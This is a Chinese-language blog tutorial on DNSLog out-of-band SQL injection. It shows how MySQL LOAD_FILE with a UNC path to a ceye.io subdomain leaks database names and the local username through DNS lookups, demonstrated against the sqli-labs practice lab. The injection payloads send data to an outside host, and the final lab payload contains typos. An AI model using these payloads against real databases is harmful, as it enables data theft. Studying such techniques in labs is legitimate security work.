SQL注入之DNSLog注入
本文知识交流学习心得,如果被拿去做违法乱纪的事情,请自行负责,与作者无关
一.什么是DNSLog
DNS就是域名解析服务,把一个域名转换为对应的ip,转换完成之后,DNS服务器就会有一个日志来记录本次转换的时间、域名、域名对应的ip、请求方的一些信息,这个日志就叫DNSLog。
但是,必须是拥有这个DNS服务器的人,才可以查看DNSLog,为了更加深刻理解DNSLog注入,推荐一个平台 ceye.io,注册之后,就会有一个自己的DNS服务器
下图就是注册之后的,首先需要得到这个Identifier

然后我在本机上ping一下这个Identifier

然后在ceye平台上就会有一个对应的记录

二.如何利用DNSLog
在ping 这个地址的时候,是可以变为多级的,比如一开始是 ping xxx.ceye.io ,但是我可以这样
ping %username%.xxx.ceye.io

这样,平台产生的记录,就会得到你当前计算机的用户名(我这里遮掉了)

那么,同样的道理,我如果这里放一个sql语句,是不是也会执行呢?
再补充一个内容,叫UNC,它是windows上面共享资源地址的格式,比如你分享一个文件出去,然后就会产生一个访问这个文件的地址,这个就是UNC的路径,可以理解为UNC就是访问共享资源地址的格式
那这个DNSLog和数据库(这里以MYSQL为列)会有什么关联呢?
MYSQL里面有一个文件读写的函数,LOAD_FILE(文件路径)
如何利用这个函数呢?
1.需要在mysql的my.ini文件里面配置参数 secure_file_priv
在[mysqld]下面配置,配置完了之后需要重启mysql,管理员身份执行 net stop mysql 再net start mysql

然后再查询看看是否真的打开了 命令 show variables like '%secure_file_priv%',如下图,是打开了的

2.有了读写权限之后,这个读写函数,只能读取本机的文件,并且读取的字节数要小于max_allowed_packet
查询max_allowed_packet

现在读取一个文件试试,路径是D:\\d1.txt 命令为 select LOAD_FILE('D:\\d1.txt')
读取出来的内容为16进制之后的

然后还可以写入一个文件到本地文件,命令 select 123 into outfile 'E:\\out.txt'

那如果我把一个DNS服务器的地址放入,然后再访问这个地址,不就是可以在DNSLog上面看到这个数据库的信息了吗?
三.DNSLog注入
先构建这个地址,然后访问
比如 select load_file('////aaa.xxx.ceye.io/dzh'),注意,这里的/dzh可以是任何内容,比如/zxc,但是必须要有
然后就是,不要在navicat后面执行上面的语句,可能会是如下情况

需要在命令行执行

那么这个aaa,是可以替换为sql语句的,比如我进入一个叫crm的数据库
并且执行命令 select if((select load_file(concat('\\\\',database(),'.xxx.ceye.io\\dzh'))),1,0);


最后我们再以sqli-labs靶场的第五关为列子
在地址后面加上 ' and if((select load_file(concat('\\\\',databse().'xxx.ceye.io\\dzh')))1,0)--+

然后可以在后台看到sqli-labs的数据库

后面的步骤就是替换sql语句,来进行其他的注入操作了

浙公网安备 33010602011771号